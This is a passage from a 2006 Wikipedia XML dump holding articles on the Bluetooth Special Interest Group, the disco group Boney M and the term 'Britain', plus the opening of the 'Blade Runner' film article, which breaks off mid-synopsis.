The Study Groups carry out research into their various areas which informs the development of the Bluetooth specifications. They may eventually become Working Groups in their own right. The current working groups are:

*Attribute Study Group
*Global navigation satellite system (similar to the [[Global positioning system]]) Study Group 
*Message-push Study Group
*[[Ultra wideband]] (UWB) Study Group

===Expert groups===
The Expert Groups deal with issues of technical importance to all aspects of Bluetooth's development. As with the Study Groups their work informs the Working Groups as well as the corporate groups. At present there are two Expert Groups

*Audio/visual &amp;ndash; hands-free profile (A/V-HFI) Expert Group
*Security Expert Group

Participation in the Expert Groups is restricted to [[#Promoter members|Promoter members]] and [[#Associate members|Associate members]]. 
===Working Groups===
The Working Groups carry out the principal standardization and specification work of the SIG. They are responsible in large part for determining what these documents will say and are thus a core part of the development process.

*Audio/video Working Group
*Automation Working Group
*Car Working Group
*[[Host controller]] interface (HCI)) Working Group
*[[Human interface device]] (HID) Working Group
*[[Integrated Services Digital Network|ISDN]] Working Group
*Local positioning Working Group
*[[Personal area network]]s (PAN) Working Group
*Printing Working Group
*Radio improvements Working Group
*Still-image Working Group
*Unrestricted digital information (UDI) Working Group

Participation in the Working Groups is restricted to [[#Promoter members|Promoter members]] and [[#Associate members|Associate members]].

===Committees===
The committees of the SIG deal with the other aspects of licensing, marketing and review. The current committees are the

*Bluetooth architectural review board (BARB)
*Bluetooth qualification review board (BQRB)
*Bluetooth technical review board (BTRB)
*Errata process group
*Marketing committee
*Regulatory committee
*Roadmapping committee
*Test initiative committee
*UnPlugFest forum
(UnPlugFest is an annual event at which manufacturers are invited to confidentially test their mutual interoperability)

Probably most significant among them is the Qualification Review Board since this body specifies the manner in which manufacturers must go about complying with the Bluetooth specifications before they are allowed to Bluetooth-brand their products and sell them. 

==Membership==
Membership of the SIG is a prerequisite for gaining access to the technical documents that define Bluetooth and thus is necessary for any manufacturer wishing to produce Bluetooth technology. There are three levels of corporate membership totalling more than 3400 members, and individuals may also participate.

===Promoter members===
These members are the most active in the SIG and have considerable influence over both the strategic and technological directions of Bluetooth as a whole. The current promoter members are

*[[Agere Systems]] (since 1999)
*[[Ericsson|Ericsson Technology Licensing]] (founder member)
*[[IBM]] (founder member)
*[[Intel]] (founder member)
*[[Microsoft]] (since 1999)
*[[Motorola]] (since 1999)
*[[Nokia]] (founder member)
*[[Toshiba]] (founder member)

Each Promoter member has one seat (and one vote) on the Board of Directors and the Qualification Review Board (the body responsible for overseeing the qualification process). They each have hundreds of staff in the various working groups and committees that comprise the work of the SIG.

===Associate members===
Any member may become an Associate member provided they pay an annual subscription fee. In [[2005]], this fee was [[United States dollar|$]]7 500 for companies with an annual revenue less than $100million and $35 000 for others [https://www.bluetooth.org/bluetooth/landing/membership.php]. Associate members paying the full fee have early access to draft specifications and  to work with other Associate and Promoter members on enchancing existing specifications. They are also able to review specifications before their publication and have voting rights in the working groups and committees as well as being able to make keynote speeches at industry conferences. Those Associate members who pay the discounted fee retain the document access rights but are not allowed to participate in the working groups and thus have considerably less influence on the standardization processes. The SIG's website carries a [http://bluetooth.com/Bluetooth/SIG/Directory/Associates/ full list of Associate members].

===Adopter members===
Any company may become an Adopter member for free. These companies have access to the published specification documents and are able to use the trademarks but play no part in the standardization processes and have no access to draft documents. This is the largest category of membership. The SIG's website carries a [http://bluetooth.com/Bluetooth/SIG/Directory/Adopters/ full list of Adopter members].

===Individuals===
Anyone can contribute to the [https://www.bluetooth.org/softwaremap/trove_list.php?form_cat=307 'Ideas Lab'] which discusses possible uses of Bluetooth.

==Qualification==
Next to the development of the technology itself, the qualification process is one of the most important aspects of the SIG's work. It is the means by which members ensure that Bluetooth devices meet the technical and performance specifications and in so doing ensure that Bluetooth-enabled devices perform as consumers expect.

The Bluetooth Qualification Review Board sets the qualification policies, but the SIG is responsible for determining if and when a particular device has met the requirements. The SIG delegates this authority to a number of Bluetooth Qualification Bodies (BQBs). These are individuals who are either members of the SIG in their own right or are employees of a corporate member. The BQBs are not necessarily linked to any particular manufacturer or qualification-testing facility.

There are three categories of test a device must pass before being qualified: A, B and C. (Additionally, the manufacturer must be a member of the SIG.) A number of different tests are defined in each category, and a device must pass them all to qualify. There is a fourth category, D, but tests in this category are not fully developed and are informative in nature; they are not a requirement for qualification. Category C tests are carried out by the manufacturer themselves, and they have simply to declare to a Bluetooth Qualification Body that their device passes these tests; there is no requirement for evidence. The device then progresses to the Category B tests which are again carried out by the manufacturer (or a competent third party). These tests formally examine the device's conformance to the specifications and interoperability requirements and are specified in detail. The manufacturer must report the results of these tests to a BQB. If they do not follow the specification of a particular test, the manufacturer must also report the detail of what they did instead.

If these tests are all passed, the device progresses to the Category A tests. These must be carried out at recognised Bluetooth Qualification Test Facilities, of which there are currently only 23 in the world. As of 2005, this testing process costs $10 000 for [[#Adopter members|Adopter members]] and $5 000 for [[#Associate members|Associate members]] and [[#Promoter members|Promoter members]]. These test facilities use equipment developed specifically for the purpose, and are approved on behalf of the Qualifications Review Board by a Bluetooth Technical Assessor (BTA). These assessors are individuals who are experienced with such laboratory assessment procedures and who can demonstrate their understanding of the technical requirements of Bluetooth. The SIG currently contracts with accreditation organizations to carry out the process of selecting and training Assessors, with the Qualifications Review Board giving the eventual formal approval.

Once a device has passed all the Category A, B and C tests to the satisfaction of a BQB, it is allowed to be marketed as a Bluetooth device using the Bluetooth trademarks.

==See also==
*[[Bluetooth]]
*[[IEEE 802.15.1]]

==Reference==
*[http://qualweb.bluetooth.org/Content2/DownloadExecute.cfm?RevisionHistoryID=692&amp;FileName=PRD_10_And_Addendum_1.zip The Bluetooth Qualification Program Reference Document] ([[ZIP (file format)|.zip]] file)

==External links==
*[http://www.bluetooth.org The Official Bluetooth Membership Site]
*[http://www.bluetooth.com The Official Bluetooth Wireless Info Site]

[[Category:Bluetooth]]
[[Category:Standards organizations]]

[[de:Bluetooth Special Interest Group]]
[[sl:Bluetooth Special Interest Group]]</text>
    </revision>
  </page>
  <page>
    <title>Boney M</title>
    <id>3744</id>
    <revision>
      <id>41291133</id>
      <timestamp>2006-02-26T08:57:49Z</timestamp>
      <contributor>
        <username>Pwt898</username>
        <id>433983</id>
      </contributor>
      <minor />
      <text xml:space="preserve">[[Image:Boney M.jpg|right|thumb|Boney M]]
'''Boney M''' is a [[Eurodance]], Pop, and [[disco]] group, which was phenomenally successful during the [[70s]]. 

==History==
[[Image:BoneyM.jpg|thumb|right|200px]]

The group was created by producer [[Frank Farian]] in [[1975]] and was composed of four [[British West Indies|West Indian]] artists working in [[London]], [[Germany]] and [[Netherlands]]: singers  [[Marcia Barrett]] and [[Liz Mitchell]], model [[Maizie Williams]] and DJ [[Bobby Farrell]]. Boney M is noted for the mix of white and black music&amp;mdash;the producer Farian is white and the singers are black; significantly many songs are black (freedom) songs, for example &quot;No More Chain Gang&quot; in the album ''[[Oceans Of Fantasy]]''.

Farian first released the single &quot;Baby Do You Wanna Bump?&quot; in [[1975]], under the name Boney M. He performed the sparse vocals of the song himself. The song went on to become a hit and it was then that Farian decided to hire a team of [[dancer]]s and [[vocalist]]s to 'front' the group. 

The line-up of the group went through numerous changes, Maizie Williams being the only original member that remained. Not satisfied with merely miming to Farian's songs, one of the members, [[Claudja Barry]], left on short notice in [[February]] [[1976]] - days before the group was scheduled to appear on a local television gig in [[Saarbrücken]]. Liz Mitchell, then an unemployed singer and formerly a member of the [[Les Humphries Singers]], was brought in as a temporary replacement for the gig under the recommendation of Marcia Barrett. Farian was impressed with her performance, and she went on to record Boney M's first LP, ''Take The Heat Off Me''. 

Farian had previously recorded some songs with Marcia Barrett, the other vocalist of the group. A couple of the songs, &quot;Lovin' Or Leavin'&quot; and &quot;Daddy Cool&quot; were included on ''Take The Heat Off Me''. The commercial response to the album was lukewarm. However, the group rigorously toured discos, clubs and even country fairs to earn a reputation for themselves. The group's big break came when, at the end of that summer, music-TV-producer Michael 'Mike' Leckebusch of [[Radio Bremen]], requested the group for his show &quot;Musikladen&quot;. Boney M appeared on the live music show on [[18 September]] [[1976]], after 10pm, in their now trademark daring costumes. By the end of the following week, &quot;Daddy Cool&quot; became Germany's #1 single in the charts. The album was to follow the success of the single.

Despite his success with Boney M, controversy followed the group's founder, Frank Farian, in what was to later shadow his involvement with [[Milli Vanilli]]. Bobby Farrell – the male face of the group – and Maisie/MaiZie (?) Williams made very little, if any, vocal contribution to the music. Almost all of the male vocals, along with some of the choir sections in songs such as &quot;Dancing in the Streets&quot; and &quot;Bye Bye Bluebird&quot;, were performed by Farian himself. Farrell, as Farian finally had admitted on German television in [[2003]], had been chosen for his personality and innovative dancing.

==Success==
&quot;[[Rivers of Babylon]]&quot;, with lyrics partially based on [[Psalm]] 137, became the second highest selling single of all time in the [[United Kingdom|UK]] in 1978.  After [[Rivers of Babylon]] slipped back down the chart, the [[B-side]] &quot;[[Brown Girl in the Ring]]&quot; was given extensive airplay on [[radio]] and the single climbed back up the chart to #2. It eventually sold 500 copies short of 2 million.

The group also achieved a second UK million seller with their version of the [[calypso music|calypso]] classic &quot;Mary's Boy Child/O My Lord&quot; which was previously a million seller for [[Harry Belafonte]]. On a list of the [[List_of_best_selling_singles_(UK)|best selling singles in the United Kingdom]], issued in [[2001]], Boney M appear fifth and tenth places respectively, with the two above singles. They are the only act to appear twice in the Top 10; a feat not even [[the Beatles]] were able to achieve. 

Boney M, with their sensuous tunes and catchy rhythms, became one of the few western bands at that time which became well-known outside of Europe and the USA, including Africa, India, Sri Lanka and South-East Asia. To this day, along with [[ABBA]], they are among the most widely known 70's western music acts in these regions.

==Discography ==
===Albums===
* ''Take The Heat Off Me'' (1976)
* ''Love For Sale'' (1977)
* ''Nightflight To [[Venus]]'' (1978)
* ''Oceans Of Fantasy'' (1979)
* ''Magic Of Boney M'' (1980)
* ''Boonoonoonoos'' (1981)
* ''Christmas Album'' (1981)
* ''Ten Thousand Lightyears'' (1984)
* ''Kalimba De Luna'' (1984)
* ''Eye Dance'' (1985)
* ''The Best Of 10 Years'' (1986)
* ''20 Greatest Christmas Songs'' (1986)
* ''Greatest Hits Of All Times - Remix'' (1988)
* ''Greatest Hits Of All Time - Remix Vol 2'' (1989)
* ''Gold'' (1992)
* ''The Most Beautiful Christmas Songs Of The World'' (1992)
* ''More Gold'' (1993)
* ''20th Century Hits'' (1999)
* ''Their Most Beautiful Ballards'' (2000)

===Singles=== 

* &quot;Baby Do You Wanna Bump?&quot;
* &quot;[[Daddy Cool]]&quot;
* &quot;Sunny&quot;
* &quot;[[Ma Baker]]&quot;
* &quot;[[Belfast]]&quot;
* &quot;[[Rivers of Babylon]]&quot; / &quot;Brown Girl in the Ring&quot; (double A-side)
* &quot;[[Rasputin (song)|Rasputin]]&quot;
* &quot;[[Mary's Boy Child]]&quot;
* &quot;Painter Man&quot; (about [[Andy Warhol]])
* &quot;Hooray Hooray It's A Holi-Holiday&quot;
* &quot;El Lute&quot;, about the Spanish outlaw [[Eleuterio Sánchez]] / &quot;Gotta Go Home&quot; (double A-side)
* &quot;I'm Born Again&quot;
* &quot;I See a Boat on the River&quot; (except [[United Kingdom]] and [[Scandinavia]])
* &quot;My Friend Jack&quot; (this was the [[B_side|flip]] of &quot;I See a Boat on the River&quot; - but was released as the A-side in [[United Kingdom]] and [[Scandinavia]])
* &quot;Children Of Paradise&quot;
* &quot;[[Feliz Navidad|Felicidad]]&quot;
* &quot;We Kill The World (Don't Kill The World)&quot;
* &quot;Going Back West&quot;
* &quot;Jambo Hakuna Matata&quot;
* &quot;Exodus&quot;
* &quot;Kalimba De Luna&quot;
* &quot;Happy Song&quot;
* &quot;Young Free and Single&quot;
* &quot;My Cherie Amour&quot;
* &quot;Bang Bang Lulu&quot;
* &quot;Boney M Megamix&quot;

==See also==
*[[Best selling music artists]] - World's top-selling music artists chart

== External links ==
* [http://www.diezi.com/boneym/ Boney M - Nightflight to Venus with Boney M]
* [http://listen.to/boneym Boonoonoonoos - The Magic of Boney M]
* [http://launch.groups.yahoo.com/group/boneym discussion group for Boney M fans]
* [http://launch.groups.yahoo.com/group/frankfarian discussion group for Frank Farian]
* [http://launch.groups.yahoo.com/group/lizmitchell discussion group for Liz Mitchell]

[[Category:Disco groups]]
[[Category:Popular musical groups]]
[[Category:German musical groups]]

[[af:Boney M]]
[[de:Boney M]]
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[[eo:Boney M]]
[[fr:Boney M]]
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[[pl:Boney M]]
[[pt:Boney M]]
[[ru:Boney M]]
[[sv:Boney M]]</text>
    </revision>
  </page>
  <page>
    <title>Britain</title>
    <id>3745</id>
    <revision>
      <id>41048625</id>
      <timestamp>2006-02-24T18:49:08Z</timestamp>
      <contributor>
        <username>Shimgray</username>
        <id>126457</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/195.188.254.82|195.188.254.82]] ([[User talk:195.188.254.82|talk]]) to last version by Zzuuzz</comment>
      <text xml:space="preserve">''For an explanation of terms such as [[Great Britain]], [[British]], [[United Kingdom]], [[England]], [[Northern Ireland]], [[Scotland]] and [[Wales]], see [[British Isles (terminology)]]''.

The word '''Britain''' is an informal term used to refer to;
* the island of [[Great Britain]] which consists of the nations of [[England]], [[Scotland]] and [[Wales]].
* the [[United Kingdom|United Kingdom of Great Britain and Northern Ireland]] (the &quot;United Kingdom&quot; or the &quot;UK&quot;),
* sometimes the [[Roman Britain|Roman province called &quot;Britain&quot; or &quot;Britannia&quot;]] 

The word '''British''' generally means belonging to or associated with Britain in one of the first two senses above (i.e. the United Kingdom or the island of Great Britain). However, the term has a range of related usages, as described in this article.

Etymologically, these words are closely related to ''[[Brittany]]'', the name of the western French peninsula, and its adjective ''Breton''.

==Earliest attested references==
*''Pretaniké; Pretanikai nesoi'' (Pretanic isles) - [[325 BC]]
*''Britannia'' - [[55 BC]] ([[Julius Caesar]], [[Roman invasion of Britain]])
*''Breten'' - 855 (''Old English Chronicle'', introduction)
*''Brittisc'' - 855 ([[Oxford English Dictionary|OED]])
*''Grate Briteigne'' - 1548 ([[Oxford English Dictionary|OED]])
*''British isles'' - 1550 (in [[Latin]]; map of [[Sebastian Munster]] cited in [[British Isles]] article)

==Etymology==
The etymology of the name ''Britain'' is thought to derive from a [[Celtic languages|Celtic]] word, ''Pritani'', &quot;painted people/men&quot;, a reference to the inhabitants of the islands' use of body-paint and tattoos.   If this is true, there is an interesting parallel with the name ''Pict'', connected with a Latin word of the same meaning.  The modern [[Welsh language|Welsh]] name for Britain is ''[[Prydain]]''.  The Q-Celtic form was Cruithin, showing that the Common Celtic singular form was qr[ui]tanos.  The root is presumably that of the modern Gaelic/Irish word cruth 'shape, form'.

It has also been postulated that ''Britain'' may derive from the Celtic goddess Brigid; the form of the word, however, is against this postulation.

In [[325 BC]] the [[Greece|Greek]] explorer [[Pytheas| Pytheas of Massalia]] visited a group of islands which he called ''Pretaniké'', the principal ones being Albionon ([[Albion]]) and Ierne ([[Erin]]). The records of this visit date from much more recent times, so there is room for these details to be disputed, but it does seem to attest pre-Roman use of the name by Celtic-speaking inhabitants of the islands - or the names used by the Phoenecians Pytheas went with.

The Roman geographer Ptolemy called the larger island Megale Brettania (Great Britain), and the smaller island Micra Bretannia (Little Britain) although some consider it to be derived from the French distinction between Great Britain and Brittany.

==Britain and Brittany==
The original reference seems to have been to the territory in which the [[Brythonic languages]] were spoken, which more or less coincided with the Roman province of Britannia, an area equivalent to modern England, Wales and southern Scotland.  In the Early Middle Ages speakers of a Brythonic language which later evolved into [[Brittany|Breton]] migrated from Cornwall to [[Armorica]], Western France, possibly because of pressure from Saxon invasions.  This is why different forms of the same name apply to insular Britain and continental Brittany.  In [[French language|French]] the similarity is even more obvious: ''Bretagne'' and ''Grande Bretagne''.  

[[Geoffrey of Monmouth]] used the names ''Britannia minor'' to refer to the Armorican region and ''Britannia major'' for the island. The element ''great'' in the term ''Great Britain'' thus simply means large, to make the distinction from Brittany.

==Historical evolution of the term 'Britain'==
The kingdoms established on the island of Great Britain were perceived to be dominant over the whole [[archipelago]], which thus came to be known as the ''[[British Isles]]''. During the reign of Queen [[Elizabeth I of England]], the queen's astrologer and alchemist, [[John Dee]], wrote mystical volumes predicting a British Empire and using the terms ''Great Britain'' and ''Britannia''. After Elizabeth's death in 1603 the kingdoms shared one King, [[James I of England|James VI of Scotland and I of England]]. On [[20 October]] [[1604]] he proclaimed himself &quot;King of Great Brittaine&quot; (thus including [[Wales]] and also avoiding the cumbersome title &quot;King of England and Scotland&quot;). This title was eventually adopted formally in 1707 when the ''[[Kingdom of Great Britain]]'' was formed. 

Politically, then, '''British''' has been used to described someone or something from the United Kingdom, in its various forms, since 1707. Briton or Brit are also used colloquially in this form, though the use of Briton here is incorrect.

Since its formation, the kingdom was enlarged in 1801 by the addition of the island of [[Ireland]] - already ruled by the British monarchy - to become the ''[[United Kingdom of Great Britain and Ireland]]'', and was then reduced in 1922 by the independence of the [[Irish Free State]], now the [[Republic of Ireland]]. The name of the kingdom changed accordingly, in 1927 becoming ''[[United Kingdom|The United Kingdom of Great Britain and Northern Ireland]]''. 

British was also used to describe members of nations that formed part of the [[British Empire]]. This use now, however, could be seen as justifying the [[colonialism|colonial]] era, even if only applied historically.

==Modern use of the terms 'British' and 'Britain'==
'Britain' then, is now commonly used to refer to the modern United Kingdom. Though considered inaccurate by some - due to the location of the United Kingdom across islands other than Great Britain - it is generally considered acceptable. For example, this page [http://www.number-10.gov.uk/output/Page39.asp] on the [[10 Downing Street]] website refers to 'Britain's' 51 [[Prime Ministers]]; this [[BBC]] news article [http://news.bbc.co.uk/1/hi/uk_politics/4713676.stm] refers to 'Britain's' chances in the [[2012 Olympics]].

The modern use of the term 'British' is as an adjective to describe someone or something from the United Kingdom. It is officially used as the term to describe the nationality of a citizen of the United Kingdom. [[Irish republicanism|Irish Nationalists]] may reject this term as offensive, as it is used to describe people from [[Northern Ireland]]. Many people from England, Scotland and Wales also dislike the term, preferring to define themselves as natives of their own particular country.
  
It is also frequently used to describe residents of the United Kingdom's [[British Overseas Territory|current colonies]]. This may still offend some people, though since the [[British Overseas Territories Act 2002]] all residents of the United Kingdom's remaining colonies have been eligible for British citizenship, making the term more apt.

British occurs in the legal term [[British Islands]] . This was coined to describe all of the islands of the [[British Isles]], excluding those that form part of the [[Republic of Ireland]], when they act together as a political whole. 

[[geography|Geographically]], the term can be used in various ways:
*To describe someone from the island of [[Great Britain]]
*In the term [[British Isles]], the traditional term for the entire [[archipelago]] of islands that lie off the north west coast of [[France]], of which Great Britain and Ireland are the two biggest. Note that this is not intended to imply that all of these islands are part of the United Kingdom, for many of them are part of the Republic of Ireland. However, confusion caused by this term can lead to offence.
*The term has historically been used to describe someone or something from the British Isles. Due to the above mentioned potential for offence, this rarely happens today. For example the [[British Lions]] a rugby team which draws players from the United Kingdom and the Republic of Ireland has been renamed the [[British and Irish Lions]].
*Sometimes ''British'' applies to an area or territory currently or formerly governed by or a dependent territory of the [[United Kingdom]], for example the [[British Virgin Islands]], the [[British Indian Ocean Territory]], or [[British Columbia]] which is now a province of [[Canada]].

==Brutus of Troy==
In keeping with the mediaeval penchant for etymologising country names in terms of eponymous heroes, English historians of the late mediaeval and early modern periods charted the history of the nation from [[Brutus of Troy]], supposedly a hero of the Trojan war who founded Britain just as Aeneaus' descendant Romulus founded Rome, Frankus France, and so forth.  The life of Brutus, anglicised as Brute, was recorded in the literary tradition of the [[Prose Brute]]. This was long accepted as the etymology of ''Britain''.

==See also==
* [[List of country name etymologies]]
* [[List of United Kingdom topics]] 
* [[British Isles]]
* [[United Kingdom]]
* [[United Kingdom of Great Britain and Ireland]]
* [[Great Britain]]
* [[Kingdom of Great Britain]]
* [[Laws in Wales Acts 1535-1542]] merging the Kingdom of England and the [[Principality]] of Wales
* [[Act of Union 1707]] merging Scotland and England to form Great Britain
* [[History of Britain]]
* [[History of Wales]]
* [[History of Scotland]]
* [[History of England]]

==Sources and further reading==
*&lt;cite&gt;[[A History of Britain]]: At the Edge of the World, 3000 BC - 1603 AD&lt;/cite&gt; by [[Simon Schama]], BBC/Miramax, 2000 ISBN 0786866756
*&lt;cite&gt;A History of Britain, Volume 2: The Wars of the British 1603-1776&lt;/cite&gt; by [[Simon Schama]], BBC/Miramax, 2001 ISBN 0786866756
*&lt;cite&gt;A History of Britain - The Complete Collection&lt;/cite&gt; on DVD by [[Simon Schama]], BBC 2002
*&lt;cite&gt;The Isles, A History&lt;/cite&gt; by [[Norman Davies]], Oxford University Press, 1999, ISBN 0195134427
*&lt;cite&gt;Shortened History of England&lt;/cite&gt; by [[George Macaulay Trevelyan|G. M. Trevelyan]] Penguin Books ISBN 0140233237 
* &lt;cite&gt;Origins: A Short [[Etymological Dictionary]] of Modern English&lt;/cite&gt; by Eric Partridge, Routledge &amp; Kegan Paul, London, 1966

==External links==
*[http://www.british-history.ac.uk/ British History Online]

&lt;!-- The below are interlanguage links. --&gt;

[[Category:British Isles]]
[[Category:Europe]]
[[Category:History of Britain]]

[[ang:Bryten]]
[[cs:Británie]]
[[de:Britannien]]
[[ga:An Bhreatain]]
[[kw:Breten]]
[[la:Britannia]]
[[nl:Brittanië]]
[[pl:Brytania]]
[[simple:Britain]]</text>
    </revision>
  </page>
  <page>
    <title>Blade Runner</title>
    <id>3746</id>
    <revision>
      <id>42017972</id>
      <timestamp>2006-03-03T06:25:08Z</timestamp>
      <contributor>
        <ip>68.117.63.239</ip>
      </contributor>
      <comment>/* Versions */</comment>
      <text xml:space="preserve">{{Infobox Film|
name = Blade Runner|
image = Blade Runner poster.jpg|
tagline = Man Has Made His Match...&lt;br&gt;Now It's His Problem|
director = [[Ridley Scott]]|
producer = [[Michael Deeley]]|
writer = [[Philip K. Dick]] (novel)&lt;br&gt;[[Hampton Fancher]]&lt;br&gt;[[David Peoples]]|
starring = [[Harrison Ford]]&lt;br&gt;[[Rutger Hauer]]&lt;br&gt;[[Sean Young]]&lt;br&gt;[[Edward James Olmos]]&lt;br&gt;[[Daryl Hannah]]| 
music = [[Vangelis]]|
distributor = [[Warner Brothers]]|
released = [[June 27]], [[1982]] ([[United States|USA]])|
runtime = 117 min. ''(international cut)''&lt;br&gt; 115 min. ''(director's cut)''|
language = [[English language|English]]|
budget = $28,000,000|
awards = |
imdb_id = 0083658|
}}
'''''Blade Runner''''' is a [[1982 in film|1982]] [[science fiction]] [[film]] directed by [[Ridley Scott]], which depicts a [[dystopia]]n [[Los Angeles, California|Los Angeles]] in November 2019. 

The [[screenplay]], which was written by [[Hampton Fancher]] and [[David Peoples]], is loosely based on the [[novel]] ''[[Do Androids Dream of Electric Sheep?]]'' by [[Philip K. Dick]]. The film features [[Harrison Ford]], [[Rutger Hauer]], [[Sean Young]], [[Edward James Olmos]], [[M. Emmet Walsh|M Emmet Walsh]], [[Daryl Hannah]], [[William Sanderson]], [[Brion James]], [[Joe Turkel]] and [[Joanna Cassidy]]. The lead art designer was [[Syd Mead]], and the [[soundtrack]] composer was [[Vangelis]].  

The film describes a future in which genetically manufactured beings called [[replicant]]s are used for dangerous and degrading work in [[Earth]]'s &quot;[[space colony|off-world colonies]].&quot; Built by the [[Tyrell Corporation]] to be 'more human than human', the ''Nexus-6'' generation appear to be physically identical to humans — although they have superior strength and agility — while lacking comparable emotional responses and [[empathy]]. Replicants became illegal on Earth after a bloody [[mutiny]]. Specialist police units — blade runners — hunt down and &quot;retire&quot; (i.e. kill) escaped replicants on Earth.  The film primarily focuses on a particularly brutal and cunning group of replicants hiding in Los Angeles and a semiretired blade runner, named Deckard, who reluctantly agrees to take on one more assignment.

''Blade Runner'' initially received polarized reviews from film critics; some were confused and disappointed that it didn't have the pacing expected from an action film, while others appreciated its thematic complexity. The film performed poorly in [[North America|North American]] theaters while achieving success overseas. Despite poor early ticket sales, it was adored by fans and academia and quickly attained [[cult classic]] status. It gained such great popularity as a video rental, partly due to the film's ability to reward repeated viewing, that it was chosen to be one of the first [[DVD]]s to be released. ''Blade Runner'' has been widely hailed as a modern classic for its immersive special effects and prefiguring important themes and concerns of the 21st century. It has been praised as being one of the most influential films of all time because of its detailed and original setting, serving as a postmodern visual benchmark with its realistic depiction of a decayed future. ''Blade Runner'' brought author [[Philip K. Dick]] to the attention of [[Hollywood]], and numerous films have since been based on his literature.

== Production ==

[[Image:BladeRunner Spinner Billboard.jpg|thumb|right|275px|A police [[Spinner (Blade Runner)|spinner]] flies alongside an advertising-laden [[skyscraper]] in LA.]]

The [[screenplay]] by [[Hampton Fancher]], which was initially titled ''Android'', and then ''Dangerous Days'', attracted producer [[Michael Deeley]], who eventually convinced director [[Ridley Scott]] to create his first American film. Scott had previously passed on the project, but soon after, he bailed out of the slow production of ''[[Dune (film)|Dune]]'' and wanted a faster project to take his mind off his brother's recent death. With Ridley onboard on February 21, 1980, the movie studios began lining up to finance the film. On April 9th, [[Filmways, Inc.|Filmways Pictures]] promised $13 million; but after a request by Scott it was bumped up to $15 million.

When Scott noted Deckard's line of work needed a new name, Fancher happened upon a copy of ''Bladerunner, A Movie'', which was a cinema treatment by [[William S. Burroughs]] for [[Alan E. Nourse]]'s novel ''The Bladerunner'' (1974). Scott liked it and Deeley obtained the rights to the titles, but Scott soon considered ''Blade Runner'' a working title for the film and wanted to find something more &quot;commercial&quot;. (Note: Some editions of Nourse's novel use the two-word spacing ''Blade Runner''.)

Scott became unhappy with the direction of the script and had [[David Peoples]] rewrite it. This infuriated Fancher who quit on December 20, 1980 (he came back near the end to do some rewrites) because he believed a hack was hired to give Scott what he wanted. But after reading the Peoples script he was surprised how well Scott's ideas were incorporated into the script, and in the end Fancher and Peoples became good friends.  

Then disaster struck when Filmways pulled their financial backing weeks away from principal photography and after investing over $2.5 million in pre-production. This forced Deeley to scramble for new financing and in ten days he managed to secure $21.5 million in financing through a three way deal between [[The Ladd Company]] (through [[Warner Brothers]]), the [[Hong Kong]]-based producer Sir [[Run Run Shaw]], and [[Tandem Productions]]. (This would later prove problematic as the release of the film's Special Edition continues to be delayed as a result of legal wrangling over distribution rights.)

Just as things were coming together, [[Philip K. Dick]] became concerned that no one had informed him about the film's production, and it was a snub he didn't appreciate. After some heated phone calls and an article in the Los Angeles ''[[Select TV Guide]]'' critical of an early script, the studio became cooperative by sending Dick the Peoples rewrite &amp;mdash; Dick was relieved to see how the script had evolved. Philip K. Dick died before the film's release, but he did manage to see a forty-minute special effects test reel, which converted him from a skeptic into a full supporter of the film, as it looked just as he had imagined it.

''Blade Runner'' owes much to [[Fritz Lang]]'s ''[[Metropolis (1927 movie)|Metropolis]]''.{{ref|bfi}} Ridley Scott credits [[Edward Hopper]]'s painting ''Nighthawks'' and the proto-[[cyberpunk]] short story comic ''[[The Long Tomorrow]]'' (by [[Dan O'Bannon]], art by [[Jean Giraud|Moebius]]) as stylistic mood sources. In addition, he drew on the industrial night time landscape of his hometown of [[Hartlepool]].{{ref|telegraph}} Scott hired [[Syd Mead]] as conceptual artist, both were influenced by the French science fiction comic magazine ''[[Métal Hurlant]]'' ([[Heavy Metal (magazine)|Heavy Metal]]), to which Moebius contributed.{{ref|brbible1}} Moebius was offered pre-production of ''Blade Runner'', he declined, to work on [[Rene Laloux|René Laloux]]'s animated film ''[[Les Maîtres du temps]]'' — a decision Moebius later regretted.{{ref|moebius}} [[Lawrence G. Paull]] (production designer) and [[David Snyder]] (art director) realised Scott's and Mead's sketches. [[Jim Burns]] briefly worked designing the [[Spinner (Blade Runner)|Spinner]] hovercars; [[Douglas Trumbull]] and [[Richard Yuricich]] supervised the [[special effects]] for the film. Principal photography of Blade Runner began on March 9, 1981.

Prior to [[principal photography]], [[Paul Sammon|Paul M. Sammon]] was commissioned by ''[[Cinefantastique]]'' magazine to do a special article on the making of ''Blade Runner''. His detailed observations and research later became the book ''[[Future Noir: The Making of Blade Runner]]'', which is also called the ''Blade Runner Bible'' by the cult following of the film. The book outlines not only the evolution of ''Blade Runner'' but  also the politics and difficulties on-set; particularly on Scott's expectations (coming from Britain) of his first American crew. Also, his directing style with actors created friction with the cast and likely contributed to Ford's subsequent reluctance to discuss the film.

== Synopsis ==

{{Spoiler}}
:''Note: The following synopsis refers to the &quot;[[Director's Cut|director's cut]]&quot; version of the film.''

In [[Los Angeles]], November 2019, [[Rick Deckard]] ([[Harrison Ford]]) is called out of retirement when an overconfident Blade Runner — Holden ([[Morgan Paull]]) — is shot during a [[Voight-Kampff machine|Voight-Kampff test]] by Leon ([[Brion James]]), an escaped replicant.

[[Image:BladeRunner Sun.jpg|thumb|left|275px|Tyrell dimming the sun.]]
A reluctant Deckard is brought to his old boss Bryant ([[M. Emmet Walsh]]), who informs him that the recent escape of Nexus-6 replicants is the worst yet. Deckard resists getting involved but relents after Bryant threatens him enigmatically.

Bryant briefs Deckard on the replicants: Roy Batty ([[Rutger Hauer]]) is a commando, Leon a soldier and manual laborer, Zhora ([[Joanna Cassidy]]) a [[sex worker]] retrained as an assassin, and Pris ([[Daryl Hannah]]) a &quot;basic pleasure model.&quot; Bryant also explains that the Nexus-6 model has a four-year lifespan as a failsafe against their developing unstable emotions. Deckard is teamed up with Gaff ([[Edward James Olmos]]) and sent to the [[Tyrell Corporation]] to ensure that the Voight-Kampff test works on Nexus-6 models. While there, Deckard discovers that Tyrell's ([[Joe Turkel]]) young secretary Rachael ([[Sean Young]]) is an experimental replicant (who believes she is a human) with implanted memories from Tyrell's niece, which provide a cushion for her emotions.

Deckard and Gaff search Leon's apartment as Roy and Leon force Chew ([[James Hong]]), an eye designer, to direct them to J.F. Sebastian ([[William Sanderson]]) who can lead them to Tyrell. Later, Rachael visits Deckard at his apartment to prove her humanity to him, but leaves in tears after Deckard recites several of her most secret memories and states they were not her memories at all, but were implanted. Pris meets up with Sebastian and takes advantage of his loneliness and kind nature to gain access to his apartment.

